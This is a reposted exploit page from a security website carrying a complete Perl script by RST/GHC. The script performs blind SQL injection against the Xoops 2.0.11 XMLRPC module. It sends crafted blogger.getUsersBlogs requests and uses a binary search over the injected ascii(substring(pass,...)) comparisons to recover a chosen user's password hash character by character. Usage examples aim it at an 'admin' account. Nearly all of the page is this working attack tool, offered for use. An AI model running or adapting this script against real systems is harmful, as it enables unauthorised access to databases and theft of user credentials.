首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xoops <= 2.0.11 XMLRPC Module Remote SQL Injection Exploit
来源:http://rst.void.ru 作者:1dt.w0lf 发布时间:2005-07-05  

Xoops <= 2.0.11 XMLRPC Module Remote SQL Injection Exploit

#!/usr/bin/perl

## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ------------------------------------------------------------------------
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ------------------------------------------------------------------------
## [~] URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ------------------------------------------------------------------------
## USER NAME : Alexxus
## USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ------------------------------------------------------------------------

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:');

$url = $opt_u;
$name = $opt_n;

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] NAME : $name\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER NAME : $name
USER HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];

$data = '<?xml version="1.0"?>';
$data .= '<methodCall>';
$data .= '<methodName>blogger.getUsersBlogs</methodName>';
$data .= '<params>';
$data .= '<param>';
$data .= '<value><string></string></value>';
$data .= '</param>';
$data .= '<param>';
$data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))
'.$ccheck.')/*</string></value>';
$data .= '</param>';
$data .= '</params>';
$data .= '</methodCall>';

$req = new HTTP::Request 'POST' => $url;
$req->content_type('application/xml');
$req->content($data);
$ua = new LWP::UserAgent;
$res = $ua->request($req);
$reply= $res->content;
if($reply =~ /Selected blog application does not exist/) { print "\n
[-] NEWS BLOG DOES NOT EXIST =(\n [-] EXPLOIT FAILED!\n"; exit(); }
if($reply =~ /User authentication failed/) { return 0; }
else { return 1; }
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
&head;
print q(
USAGE:
r57xoops.pl [OPTIONS]

OPTIONS:
-u [URL] - path to xmlrpc.php
-n [USERNAME] - user for bruteforce

E.G.
r57xoops.pl -u http://server/xoops/xmlrpc.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Pear XML-RPC Library 1.3.0 Rem
·phpBB <= 2.0.15 Remote SQL
·WordPress 1.5.1.2 XMLRPC Modul
·Sudo <= 1.6.8p8 Pathname Va
·phpBB 2.0.15 viewtopic.php Rem
·Mozilla FireFox <= 1.0.1 GI
·Windows SMB客户端Transaction响
·Internet Download Manager URL
·Microsoft Message Queuing Remo
·TCP Chat(TCPX) DoS
·Stream/raped DoS
·Drupal Code Injection
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved